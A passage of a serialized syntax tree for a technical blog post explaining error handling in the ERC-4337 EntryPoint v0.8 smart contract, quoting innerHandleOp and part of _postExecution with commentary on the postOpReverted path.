gas\"",{"type":26,"tag":217,"props":61735,"children":61736},{"style":7048},[61737],{"type":32,"value":7669},{"type":26,"tag":217,"props":61739,"children":61740},{"class":7028,"line":8154},[61741,61745,61749,61753,61757,61761],{"type":26,"tag":217,"props":61742,"children":61743},{"style":7048},[61744],{"type":32,"value":60702},{"type":26,"tag":217,"props":61746,"children":61747},{"style":7042},[61748],{"type":32,"value":40852},{"type":26,"tag":217,"props":61750,"children":61751},{"style":7042},[61752],{"type":32,"value":60711},{"type":26,"tag":217,"props":61754,"children":61755},{"style":7048},[61756],{"type":32,"value":61685},{"type":26,"tag":217,"props":61758,"children":61759},{"style":7149},[61760],{"type":32,"value":9106},{"type":26,"tag":217,"props":61762,"children":61763},{"style":7048},[61764],{"type":32,"value":61765}," INNER_REVERT_LOW_PREFUND) {\n",{"type":26,"tag":217,"props":61767,"children":61768},{"class":7028,"line":8162},[61769],{"type":26,"tag":217,"props":61770,"children":61771},{"style":7033},[61772],{"type":32,"value":61773},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":26,"tag":217,"props":61775,"children":61776},{"class":7028,"line":8197},[61777,61781,61786,61790,61795,61799,61804,61809,61813],{"type":26,"tag":217,"props":61778,"children":61779},{"style":7119},[61780],{"type":32,"value":59947},{"type":26,"tag":217,"props":61782,"children":61783},{"style":7048},[61784],{"type":32,"value":61785}," actualGas ",{"type":26,"tag":217,"props":61787,"children":61788},{"style":7149},[61789],{"type":32,"value":267},{"type":26,"tag":217,"props":61791,"children":61792},{"style":7048},[61793],{"type":32,"value":61794}," preGas ",{"type":26,"tag":217,"props":61796,"children":61797},{"style":7149},[61798],{"type":32,"value":18420},{"type":26,"tag":217,"props":61800,"children":61801},{"style":7154},[61802],{"type":32,"value":61803}," gasleft",{"type":26,"tag":217,"props":61805,"children":61806},{"style":7048},[61807],{"type":32,"value":61808},"() ",{"type":26,"tag":217,"props":61810,"children":61811},{"style":7149},[61812],{"type":32,"value":3540},{"type":26,"tag":217,"props":61814,"children":61815},{"style":7048},[61816],{"type":32,"value":61817}," opInfo.preOpGas;\n",{"type":26,"tag":217,"props":61819,"children":61820},{"class":7028,"line":8220},[61821,61825,61829,61833],{"type":26,"tag":217,"props":61822,"children":61823},{"style":7119},[61824],{"type":32,"value":59947},{"type":26,"tag":217,"props":61826,"children":61827},{"style":7048},[61828],{"type":32,"value":60595},{"type":26,"tag":217,"props":61830,"children":61831},{"style":7149},[61832],{"type":32,"value":267},{"type":26,"tag":217,"props":61834,"children":61835},{"style":7048},[61836],{"type":32,"value":61837}," opInfo.prefund;\n",{"type":26,"tag":217,"props":61839,"children":61840},{"class":7028,"line":8228},[61841,61846],{"type":26,"tag":217,"props":61842,"children":61843},{"style":7064},[61844],{"type":32,"value":61845},"                _emitPrefundTooLow",{"type":26,"tag":217,"props":61847,"children":61848},{"style":7048},[61849],{"type":32,"value":61850},"(opInfo);\n",{"type":26,"tag":217,"props":61852,"children":61853},{"class":7028,"line":8292},[61854,61859,61864,61868],{"type":26,"tag":217,"props":61855,"children":61856},{"style":7064},[61857],{"type":32,"value":61858},"                _emitUserOperationEvent",{"type":26,"tag":217,"props":61860,"children":61861},{"style":7048},[61862],{"type":32,"value":61863},"(opInfo, ",{"type":26,"tag":217,"props":61865,"children":61866},{"style":7154},[61867],{"type":32,"value":60208},{"type":26,"tag":217,"props":61869,"children":61870},{"style":7048},[61871],{"type":32,"value":61872},", actualGasCost, actualGas);\n",{"type":26,"tag":217,"props":61874,"children":61875},{"class":7028,"line":8351},[61876,61880,61884],{"type":26,"tag":217,"props":61877,"children":61878},{"style":7048},[61879],{"type":32,"value":61598},{"type":26,"tag":217,"props":61881,"children":61882},{"style":7149},[61883],{"type":32,"value":267},{"type":26,"tag":217,"props":61885,"children":61886},{"style":7048},[61887],{"type":32,"value":61888}," actualGasCost;\n",{"type":26,"tag":217,"props":61890,"children":61891},{"class":7028,"line":8391},[61892,61896,61900],{"type":26,"tag":217,"props":61893,"children":61894},{"style":7048},[61895],{"type":32,"value":60702},{"type":26,"tag":217,"props":61897,"children":61898},{"style":7042},[61899],{"type":32,"value":40852},{"type":26,"tag":217,"props":61901,"children":61902},{"style":7048},[61903],{"type":32,"value":8064},{"type":26,"tag":217,"props":61905,"children":61906},{"class":7028,"line":8439},[61907],{"type":26,"tag":217,"props":61908,"children":61909},{"style":7048},[61910],{"type":32,"value":34647},{"type":26,"tag":217,"props":61912,"children":61913},{"class":7028,"line":8448},[61914,61918,61922,61927],{"type":26,"tag":217,"props":61915,"children":61916},{"style":7048},[61917],{"type":32,"value":61598},{"type":26,"tag":217,"props":61919,"children":61920},{"style":7149},[61921],{"type":32,"value":267},{"type":26,"tag":217,"props":61923,"children":61924},{"style":7064},[61925],{"type":32,"value":61926}," _postExecution",{"type":26,"tag":217,"props":61928,"children":61929},{"style":7048},[61930],{"type":32,"value":10932},{"type":26,"tag":217,"props":61932,"children":61933},{"class":7028,"line":8456},[61934],{"type":26,"tag":217,"props":61935,"children":61936},{"style":7048},[61937],{"type":32,"value":61938},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":26,"tag":217,"props":61940,"children":61941},{"class":7028,"line":8500},[61942],{"type":26,"tag":217,"props":61943,"children":61944},{"style":7048},[61945],{"type":32,"value":61946},"                    opInfo,\n",{"type":26,"tag":217,"props":61948,"children":61949},{"class":7028,"line":8535},[61950],{"type":26,"tag":217,"props":61951,"children":61952},{"style":7048},[61953],{"type":32,"value":61954},"                    context,\n",{"type":26,"tag":217,"props":61956,"children":61957},{"class":7028,"line":8664},[61958],{"type":26,"tag":217,"props":61959,"children":61960},{"style":7048},[61961],{"type":32,"value":61962},"                    actualGas\n",{"type":26,"tag":217,"props":61964,"children":61965},{"class":7028,"line":8700},[61966],{"type":26,"tag":217,"props":61967,"children":61968},{"style":7048},[61969],{"type":32,"value":61970},"                );\n",{"type":26,"tag":217,"props":61972,"children":61973},{"class":7028,"line":8708},[61974],{"type":26,"tag":217,"props":61975,"children":61976},{"style":7048},[61977],{"type":32,"value":36205},{"type":26,"tag":217,"props":61979,"children":61980},{"class":7028,"line":8716},[61981],{"type":26,"tag":217,"props":61982,"children":61983},{"style":7048},[61984],{"type":32,"value":8722},{"type":26,"tag":217,"props":61986,"children":61987},{"class":7028,"line":8725},[61988],{"type":26,"tag":217,"props":61989,"children":61990},{"style":7048},[61991],{"type":32,"value":9754},{"type":26,"tag":39,"props":61993,"children":61994},{},[61995,61997,62002,62004,62010,62012,62018,62020,62026],{"type":32,"value":61996},"During execution, the ",{"type":26,"tag":83,"props":61998,"children":62000},{"className":61999},[],[62001],{"type":32,"value":58738},{"type":32,"value":62003}," contract makes a ",{"type":26,"tag":163,"props":62005,"children":62008},{"href":62006,"rel":62007},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[167],[62009],{"type":32,"value":59057},{"type":32,"value":62011}," to its own ",{"type":26,"tag":83,"props":62013,"children":62015},{"className":62014},[],[62016],{"type":32,"value":62017},"innerHandleOp",{"type":32,"value":62019}," function through a low-level ",{"type":26,"tag":83,"props":62021,"children":62023},{"className":62022},[],[62024],{"type":32,"value":62025},"call()",{"type":32,"value":62027},". This is done to create a new call context for executing the user operation.",{"type":26,"tag":39,"props":62029,"children":62030},{},[62031,62033,62039,62040,62045,62047,62054,62056,62062],{"type":32,"value":62032},"If this call fails (when ",{"type":26,"tag":83,"props":62034,"children":62036},{"className":62035},[],[62037],{"type":32,"value":62038},"success",{"type":32,"value":1681},{"type":26,"tag":83,"props":62041,"children":62043},{"className":62042},[],[62044],{"type":32,"value":60208},{"type":32,"value":62046},"), the code enters an ",{"type":26,"tag":163,"props":62048,"children":62051},{"href":62049,"rel":62050},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[167],[62052],{"type":32,"value":62053},"error handling",{"type":32,"value":62055}," flow that checks the ",{"type":26,"tag":83,"props":62057,"children":62059},{"className":62058},[],[62060],{"type":32,"value":62061},"innerRevertCode",{"type":32,"value":62063},". There are three possible paths:",{"type":26,"tag":6712,"props":62065,"children":62066},{},[62067,62091,62109],{"type":26,"tag":2044,"props":62068,"children":62069},{},[62070,62071,62076,62077,62083,62085,62090],{"type":32,"value":18009},{"type":26,"tag":83,"props":62072,"children":62074},{"className":62073},[],[62075],{"type":32,"value":62061},{"type":32,"value":1681},{"type":26,"tag":83,"props":62078,"children":62080},{"className":62079},[],[62081],{"type":32,"value":62082},"INNER_OUT_OF_GAS",{"type":32,"value":62084},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":26,"tag":83,"props":62086,"children":62088},{"className":62087},[],[62089],{"type":32,"value":61733},{"type":32,"value":180},{"type":26,"tag":2044,"props":62092,"children":62093},{},[62094,62095,62100,62101,62107],{"type":32,"value":18009},{"type":26,"tag":83,"props":62096,"children":62098},{"className":62097},[],[62099],{"type":32,"value":62061},{"type":32,"value":1681},{"type":26,"tag":83,"props":62102,"children":62104},{"className":62103},[],[62105],{"type":32,"value":62106},"INNER_REVERT_LOW_PREFUND",{"type":32,"value":62108},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":26,"tag":2044,"props":62110,"children":62111},{},[62112,62114,62120,62122,62128],{"type":32,"value":62113},"For any other revert reason, the code will still call ",{"type":26,"tag":83,"props":62115,"children":62117},{"className":62116},[],[62118],{"type":32,"value":62119},"_postExecution()",{"type":32,"value":62121}," but with ",{"type":26,"tag":83,"props":62123,"children":62125},{"className":62124},[],[62126],{"type":32,"value":62127},"PostOpMode.postOpReverted",{"type":32,"value":62129},". This ensures proper cleanup happens even on failure.",{"type":26,"tag":39,"props":62131,"children":62132},{},[62133,62135,62140,62142,62147,62149,62154,62156,62161],{"type":32,"value":62134},"We're particularly interested in the third error path, where ",{"type":26,"tag":83,"props":62136,"children":62138},{"className":62137},[],[62139],{"type":32,"value":62061},{"type":32,"value":62141}," is neither ",{"type":26,"tag":83,"props":62143,"children":62145},{"className":62144},[],[62146],{"type":32,"value":62082},{"type":32,"value":62148}," nor ",{"type":26,"tag":83,"props":62150,"children":62152},{"className":62151},[],[62153],{"type":32,"value":62106},{"type":32,"value":62155},". To understand this case better, let's examine how ",{"type":26,"tag":83,"props":62157,"children":62159},{"className":62158},[],[62160],{"type":32,"value":62017},{"type":32,"value":62162}," works.",{"type":26,"tag":207,"props":62164,"children":62166},{"className":59407,"code":62165,"language":59409,"meta":8,"style":8},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[62167],{"type":26,"tag":83,"props":62168,"children":62169},{"__ignoreMap":8},[62170,62186,62207,62227,62243,62277,62284,62301,62325,62365,62384,62409,62443,62467,62484,62492,62500,62508,62516,62524,62531,62544,62561,62568,62575,62582,62593,62632,62648,62655],{"type":26,"tag":217,"props":62171,"children":62172},{"class":7028,"line":7029},[62173,62177,62182],{"type":26,"tag":217,"props":62174,"children":62175},{"style":7154},[62176],{"type":32,"value":59474},{"type":26,"tag":217,"props":62178,"children":62179},{"style":7064},[62180],{"type":32,"value":62181}," innerHandleOp",{"type":26,"tag":217,"props":62183,"children":62184},{"style":7048},[62185],{"type":32,"value":10932},{"type":26,"tag":217,"props":62187,"children":62188},{"class":7028,"line":6770},[62189,62194,62198,62203],{"type":26,"tag":217,"props":62190,"children":62191},{"style":7119},[62192],{"type":32,"value":62193},"        bytes",{"type":26,"tag":217,"props":62195,"children":62196},{"style":7154},[62197],{"type":32,"value":59563},{"type":26,"tag":217,"props":62199,"children":62200},{"style":7054},[62201],{"type":32,"value":62202}," callData",{"type":26,"tag":217,"props":62204,"children":62205},{"style":7048},[62206],{"type":32,"value":10953},{"type":26,"tag":217,"props":62208,"children":62209},{"class":7028,"line":6779},[62210,62214,62218,62223],{"type":26,"tag":217,"props":62211,"children":62212},{"style":7154},[62213],{"type":32,"value":61229},{"type":26,"tag":217,"props":62215,"children":62216},{"style":7154},[62217],{"type":32,"value":59563},{"type":26,"tag":217,"props":62219,"children":62220},{"style":7054},[62221],{"type":32,"value":62222}," opInfo",{"type":26,"tag":217,"props":62224,"children":62225},{"style":7048},[62226],{"type":32,"value":10953},{"type":26,"tag":217,"props":62228,"children":62229},{"class":7028,"line":7140},[62230,62234,62238],{"type":26,"tag":217,"props":62231,"children":62232},{"style":7119},[62233],{"type":32,"value":62193},{"type":26,"tag":217,"props":62235,"children":62236},{"style":7154},[62237],{"type":32,"value":59493},{"type":26,"tag":217,"props":62239,"children":62240},{"style":7054},[62241],{"type":32,"value":62242}," context\n",{"type":26,"tag":217,"props":62244,"children":62245},{"class":7028,"line":7165},[62246,62251,62256,62261,62265,62269,62273],{"type":26,"tag":217,"props":62247,"children":62248},{"style":7048},[62249],{"type":32,"value":62250},"    ) ",{"type":26,"tag":217,"props":62252,"children":62253},{"style":7154},[62254],{"type":32,"value":62255},"external",{"type":26,"tag":217,"props":62257,"children":62258},{"style":7042},[62259],{"type":32,"value":62260}," returns",{"type":26,"tag":217,"props":62262,"children":62263},{"style":7048},[62264],{"type":32,"value":7051},{"type":26,"tag":217,"props":62266,"children":62267},{"style":7119},[62268],{"type":32,"value":59516},{"type":26,"tag":217,"props":62270,"children":62271},{"style":7054},[62272],{"type":32,"value":60310},{"type":26,"tag":217,"props":62274,"children":62275},{"style":7048},[62276],{"type":32,"value":7618},{"type":26,"tag":217,"props":62278,"children":62279},{"class":7028,"line":7178},[62280],{"type":26,"tag":217,"props":62281,"children":62282},{"style":7048},[62283],{"type":32,"value":34647},{"type":26,"tag":217,"props":62285,"children":62286},{"class":7028,"line":7389},[62287,62292,62296],{"type":26,"tag":217,"props":62288,"children":62289},{"style":7048},[62290],{"type":32,"value":62291},"        IPaymaster.PostOpMode mode ",{"type":26,"tag":217,"props":62293,"children":62294},{"style":7149},[62295],{"type":32,"value":267},{"type":26,"tag":217,"props":62297,"children":62298},{"style":7048},[62299],{"type":32,"value":62300}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":26,"tag":217,"props":62302,"children":62303},{"class":7028,"line":7406},[62304,62308,62313,62317,62321],{"type":26,"tag":217,"props":62305,"children":62306},{"style":7042},[62307],{"type":32,"value":12497},{"type":26,"tag":217,"props":62309,"children":62310},{"style":7048},[62311],{"type":32,"value":62312}," (callData.length ",{"type":26,"tag":217,"props":62314,"children":62315},{"style":7149},[62316],{"type":32,"value":5903},{"type":26,"tag":217,"props":62318,"children":62319},{"style":7130},[62320],{"type":32,"value":9922},{"type":26,"tag":217,"props":62322,"children":62323},{"style":7048},[62324],{"type":32,"value":7618},{"type":26,"tag":217,"props":62326,"children":62327},{"class":7028,"line":7439},[62328,62333,62338,62342,62347,62351,62356,62360],{"type":26,"tag":217,"props":62329,"children":62330},{"style":7119},[62331],{"type":32,"value":62332},"            bool",{"type":26,"tag":217,"props":62334,"children":62335},{"style":7048},[62336],{"type":32,"value":62337}," success ",{"type":26,"tag":217,"props":62339,"children":62340},{"style":7149},[62341],{"type":32,"value":267},{"type":26,"tag":217,"props":62343,"children":62344},{"style":7048},[62345],{"type":32,"value":62346}," Exec.",{"type":26,"tag":217,"props":62348,"children":62349},{"style":7064},[62350],{"type":32,"value":59057},{"type":26,"tag":217,"props":62352,"children":62353},{"style":7048},[62354],{"type":32,"value":62355},"(mUserOp.sender, ",{"type":26,"tag":217,"props":62357,"children":62358},{"style":7130},[62359],{"type":32,"value":1883},{"type":26,"tag":217,"props":62361,"children":62362},{"style":7048},[62363],{"type":32,"value":62364},", callData, callGasLimit);\n",{"type":26,"tag":217,"props":62366,"children":62367},{"class":7028,"line":7487},[62368,62372,62376,62380],{"type":26,"tag":217,"props":62369,"children":62370},{"style":7042},[62371],{"type":32,"value":59922},{"type":26,"tag":217,"props":62373,"children":62374},{"style":7048},[62375],{"type":32,"value":7051},{"type":26,"tag":217,"props":62377,"children":62378},{"style":7149},[62379],{"type":32,"value":11704},{"type":26,"tag":217,"props":62381,"children":62382},{"style":7048},[62383],{"type":32,"value":61666},{"type":26,"tag":217,"props":62385,"children":62386},{"class":7028,"line":7524},[62387,62391,62396,62400,62405],{"type":26,"tag":217,"props":62388,"children":62389},{"style":7119},[62390],{"type":32,"value":59947},{"type":26,"tag":217,"props":62392,"children":62393},{"style":7048},[62394],{"type":32,"value":62395}," freePtr ",{"type":26,"tag":217,"props":62397,"children":62398},{"style":7149},[62399],{"type":32,"value":267},{"type":26,"tag":217,"props":62401,"children":62402},{"style":7064},[62403],{"type":32,"value":62404}," _getFreePtr",{"type":26,"tag":217,"props":62406,"children":62407},{"style":7048},[62408],{"type":32,"value":8217},{"type":26,"tag":217,"props":62410,"children":62411},{"class":7028,"line":7553},[62412,62416,62420,62425,62429,62433,62438],{"type":26,"tag":217,"props":62413,"children":62414},{"style":7119},[62415],{"type":32,"value":61348},{"type":26,"tag":217,"props":62417,"children":62418},{"style":7154},[62419],{"type":32,"value":59563},{"type":26,"tag":217,"props":62421,"children":62422},{"style":7048},[62423],{"type":32,"value":62424}," result ",{"type":26,"tag":217,"props":62426,"children":62427},{"style":7149},[62428],{"type":32,"value":267},{"type":26,"tag":217,"props":62430,"children":62431},{"style":7048},[62432],{"type":32,"value":62346},{"type":26,"tag":217,"props":62434,"children":62435},{"style":7064},[62436],{"type":32,"value":62437},"getReturnData",{"type":26,"tag":217,"props":62439,"children":62440},{"style":7048},[62441],{"type":32,"value":62442},"(REVERT_REASON_MAX_LEN);\n",{"type":26,"tag":217,"props":62444,"children":62445},{"class":7028,"line":7570},[62446,62450,62455,62459,62463],{"type":26,"tag":217,"props":62447,"children":62448},{"style":7042},[62449],{"type":32,"value":35880},{"type":26,"tag":217,"props":62451,"children":62452},{"style":7048},[62453],{"type":32,"value":62454}," (result.length ",{"type":26,"tag":217,"props":62456,"children":62457},{"style":7149},[62458],{"type":32,"value":5903},{"type":26,"tag":217,"props":62460,"children":62461},{"style":7130},[62462],{"type":32,"value":9922},{"type":26,"tag":217,"props":62464,"children":62465},{"style":7048},[62466],{"type":32,"value":7618},{"type":26,"tag":217,"props":62468,"children":62469},{"class":7028,"line":7621},[62470,62475,62480],{"type":26,"tag":217,"props":62471,"children":62472},{"style":7042},[62473],{"type":32,"value":62474},"                    emit",{"type":26,"tag":217,"props":62476,"children":62477},{"style":7064},[62478],{"type":32,"value":62479}," UserOperationRevertReason",{"type":26,"tag":217,"props":62481,"children":62482},{"style":7048},[62483],{"type":32,"value":10932},{"type":26,"tag":217,"props":62485,"children":62486},{"class":7028,"line":7672},[62487],{"type":26,"tag":217,"props":62488,"children":62489},{"style":7048},[62490],{"type":32,"value":62491},"                        opInfo.userOpHash,\n",{"type":26,"tag":217,"props":62493,"children":62494},{"class":7028,"line":7681},[62495],{"type":26,"tag":217,"props":62496,"children":62497},{"style":7048},[62498],{"type":32,"value":62499},"                        mUserOp.sender,\n",{"type":26,"tag":217,"props":62501,"children":62502},{"class":7028,"line":7754},[62503],{"type":26,"tag":217,"props":62504,"children":62505},{"style":7048},[62506],{"type":32,"value":62507},"                        mUserOp.nonce,\n",{"type":26,"tag":217,"props":62509,"children":62510},{"class":7028,"line":7784},[62511],{"type":26,"tag":217,"props":62512,"children":62513},{"style":7048},[62514],{"type":32,"value":62515},"                        result\n",{"type":26,"tag":217,"props":62517,"children":62518},{"class":7028,"line":7802},[62519],{"type":26,"tag":217,"props":62520,"children":62521},{"style":7048},[62522],{"type":32,"value":62523},"                    );\n",{"type":26,"tag":217,"props":62525,"children":62526},{"class":7028,"line":7811},[62527],{"type":26,"tag":217,"props":62528,"children":62529},{"style":7048},[62530],{"type":32,"value":13407},{"type":26,"tag":217,"props":62532,"children":62533},{"class":7028,"line":7820},[62534,62539],{"type":26,"tag":217,"props":62535,"children":62536},{"style":7064},[62537],{"type":32,"value":62538},"                _restoreFreePtr",{"type":26,"tag":217,"props":62540,"children":62541},{"style":7048},[62542],{"type":32,"value":62543},"(freePtr);\n",{"type":26,"tag":217,"props":62545,"children":62546},{"class":7028,"line":7844},[62547,62552,62556],{"type":26,"tag":217,"props":62548,"children":62549},{"style":7048},[62550],{"type":32,"value":62551},"                mode ",{"type":26,"tag":217,"props":62553,"children":62554},{"style":7149},[62555],{"type":32,"value":267},{"type":26,"tag":217,"props":62557,"children":62558},{"style":7048},[62559],{"type":32,"value":62560}," IPaymaster.PostOpMode.opReverted;\n",{"type":26,"tag":217,"props":62562,"children":62563},{"class":7028,"line":7910},[62564],{"type":26,"tag":217,"props":62565,"children":62566},{"style":7048},[62567],{"type":32,"value":36205},{"type":26,"tag":217,"props":62569,"children":62570},{"class":7028,"line":7954},[62571],{"type":26,"tag":217,"props":62572,"children":62573},{"style":7048},[62574],{"type":32,"value":8722},{"type":26,"tag":217,"props":62576,"children":62577},{"class":7028,"line":7985},[62578],{"type":26,"tag":217,"props":62579,"children":62580},{"emptyLinePlaceholder":17},[62581],{"type":32,"value":7817},{"type":26,"tag":217,"props":62583,"children":62584},{"class":7028,"line":8027},[62585,62589],{"type":26,"tag":217,"props":62586,"children":62587},{"style":7042},[62588],{"type":32,"value":59600},{"type":26,"tag":217,"props":62590,"children":62591},{"style":7048},[62592],{"type":32,"value":8064},{"type":26,"tag":217,"props":62594,"children":62595},{"class":7028,"line":8035},[62596,62600,62604,62608,62612,62616,62620,62624,62628],{"type":26,"tag":217,"props":62597,"children":62598},{"style":7119},[62599],{"type":32,"value":59612},{"type":26,"tag":217,"props":62601,"children":62602},{"style":7048},[62603],{"type":32,"value":61785},{"type":26,"tag":217,"props":62605,"children":62606},{"style":7149},[62607],{"type":32,"value":267},{"type":26,"tag":217,"props":62609,"children":62610},{"style":7048},[62611],{"type":32,"value":61794},{"type":26,"tag":217,"props":62613,"children":62614},{"style":7149},[62615],{"type":32,"value":18420},{"type":26,"tag":217,"props":62617,"children":62618},{"style":7154},[62619],{"type":32,"value":61803},{"type":26,"tag":217,"props":62621,"children":62622},{"style":7048},[62623],{"type":32,"value":61808},{"type":26,"tag":217,"props":62625,"children":62626},{"style":7149},[62627],{"type":32,"value":3540},{"type":26,"tag":217,"props":62629,"children":62630},{"style":7048},[62631],{"type":32,"value":61817},{"type":26,"tag":217,"props":62633,"children":62634},{"class":7028,"line":8067},[62635,62639,62643],{"type":26,"tag":217,"props":62636,"children":62637},{"style":7042},[62638],{"type":32,"value":7790},{"type":26,"tag":217,"props":62640,"children":62641},{"style":7064},[62642],{"type":32,"value":61926},{"type":26,"tag":217,"props":62644,"children":62645},{"style":7048},[62646],{"type":32,"value":62647},"(mode, opInfo, context, actualGas);\n",{"type":26,"tag":217,"props":62649,"children":62650},{"class":7028,"line":8107},[62651],{"type":26,"tag":217,"props":62652,"children":62653},{"style":7048},[62654],{"type":32,"value":8722},{"type":26,"tag":217,"props":62656,"children":62657},{"class":7028,"line":8145},[62658],{"type":26,"tag":217,"props":62659,"children":62660},{"style":7048},[62661],{"type":32,"value":9754},{"type":26,"tag":39,"props":62663,"children":62664},{},[62665,62667,62672,62674,62679,62681,62687,62689,62695,62697,62702,62704,62714],{"type":32,"value":62666},"We observe that, in the happy path, ",{"type":26,"tag":83,"props":62668,"children":62670},{"className":62669},[],[62671],{"type":32,"value":62017},{"type":32,"value":62673}," is expected to not only execute the actual ",{"type":26,"tag":83,"props":62675,"children":62677},{"className":62676},[],[62678],{"type":32,"value":58657},{"type":32,"value":62680}," call, but also call ",{"type":26,"tag":83,"props":62682,"children":62684},{"className":62683},[],[62685],{"type":32,"value":62686},"_postExecution",{"type":32,"value":62688},". This means that the third failure handling path, which passes ",{"type":26,"tag":83,"props":62690,"children":62692},{"className":62691},[],[62693],{"type":32,"value":62694},"postOpReverted",{"type":32,"value":62696}," as its mode, happens when something goes wrong with the ",{"type":26,"tag":83,"props":62698,"children":62700},{"className":62699},[],[62701],{"type":32,"value":62686},{"type":32,"value":62703}," call ",{"type":26,"tag":9348,"props":62705,"children":62706},{},[62707,62709],{"type":32,"value":62708},"inside ",{"type":26,"tag":83,"props":62710,"children":62712},{"className":62711},[],[62713],{"type":32,"value":62017},{"type":32,"value":180},{"type":26,"tag":39,"props":62716,"children":62717},{},[62718,62720,62725],{"type":32,"value":62719},"Let's examine the ",{"type":26,"tag":83,"props":62721,"children":62723},{"className":62722},[],[62724],{"type":32,"value":62686},{"type":32,"value":62726}," code to understand where the revert might occur.",{"type":26,"tag":207,"props":62728,"children":62730},{"className":59407,"code":62729,"language":59409,"meta":8,"style":8},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[62731],{"type":26,"tag":83,"props":62732,"children":62733},{"__ignoreMap":8},[62734,62749,62773,62792,62811,62823,62860,62867,62900,62917,62932,62948,62972,62997,63021,63043,63061,63078,63086,63104,63120,63153,63171,63179,63187,63195,63211,63243,63265,63272,63279,63286],{"type":26,"tag":217,"props":62735,"children":62736},{"class":7028,"line":7029},[62737,62741,62745],{"type":26,"tag":217,"props":62738,"children":62739},{"style":7154},[62740],{"type":32,"value":59474},{"type":26,"tag":217,"props":62742,"children":62743},{"style":7064},[62744],{"type":32,"value":61926},{"type":26,"tag":217,"props":62746,"children":62747},{"style":7048},[62748],{"type":32,"value":10932},{"type":26,"tag":217,"props":62750,"children":62751},{"class":7028,"line":6770},[62752,62757,62761,62765,62769],{"type":26,"tag":217,"props":62753,"children":62754},{"style":7154},[62755],{"type":32,"value":62756},"        IPaymaster",{"type":26,"tag":217,"props":62758,"children":62759},{"style":7048},[62760],{"type":32,"value":180},{"type":26,"tag":217,"props":62762,"children":62763},{"style":7054},[62764],{"type":32,"value":60281},{"type":26,"tag":217,"props":62766,"children":62767},{"style":7054},[62768],{"type":32,"value":33590},{"type":26,"tag":217,"props":62770,"children":62771},{"style":7048},[62772],{"type":32,"value":10953},{"type":26,"tag":217,"props":62774,"children":62775},{"class":7028,"line":6779},[62776,62780,62784,62788],{"type":26,"tag":217,"props":62777,"children":62778},{"style":7154},[62779],{"type":32,"value":61229},{"type":26,"tag":217,"props":62781,"children":62782},{"style":7154},[62783],{"type":32,"value":59563},{"type":26,"tag":217,"props":62785,"children":62786},{"style":7054},[62787],{"type":32,"value":62222},{"type":26,"tag":217,"props":62789,"children":62790},{"style":7048},[62791],{"type":32,"value":10953},{"type":26,"tag":217,"props":62793,"children":62794},{"class":7028,"line":7140},[62795,62799,62803,62807],{"type":26,"tag":217,"props":62796,"children":62797},{"style":7119},[62798],{"type":32,"value":62193},{"type":26,"tag":217,"props":62800,"children":62801},{"style":7154},[62802],{"type":32,"value":59563},{"type":26,"tag":217,"props":62804,"children":62805},{"style":7054},[62806],{"type":32,"value":59568},{"type":26,"tag":217,"props":62808,"children":62809},{"style":7048},[62810],{"type":32,"value":10953},{"type":26,"tag":217,"props":62812,"children":62813},{"class":7028,"line":7165},[62814,62818],{"type":26,"tag":217,"props":62815,"children":62816},{"style":7119},[62817],{"type":32,"value":61192},{"type":26,"tag":217,"props":62819,"children":62820},{"style":7054},[62821],{"type":32,"value":62822}," actualGas\n",{"type":26,"tag":217,"props":62824,"children":62825},{"class":7028,"line":7178},[62826,62830,62835,62840,62844,62848,62852,62856],{"type":26,"tag":217,"props":62827,"children":62828},{"style":7048},[62829],{"type":32,"value":62250},{"type":26,"tag":217,"props":62831,"children":62832},{"style":7154},[62833],{"type":32,"value":62834},"internal",{"type":26,"tag":217,"props":62836,"children":62837},{"style":7154},[62838],{"type":32,"value":62839}," 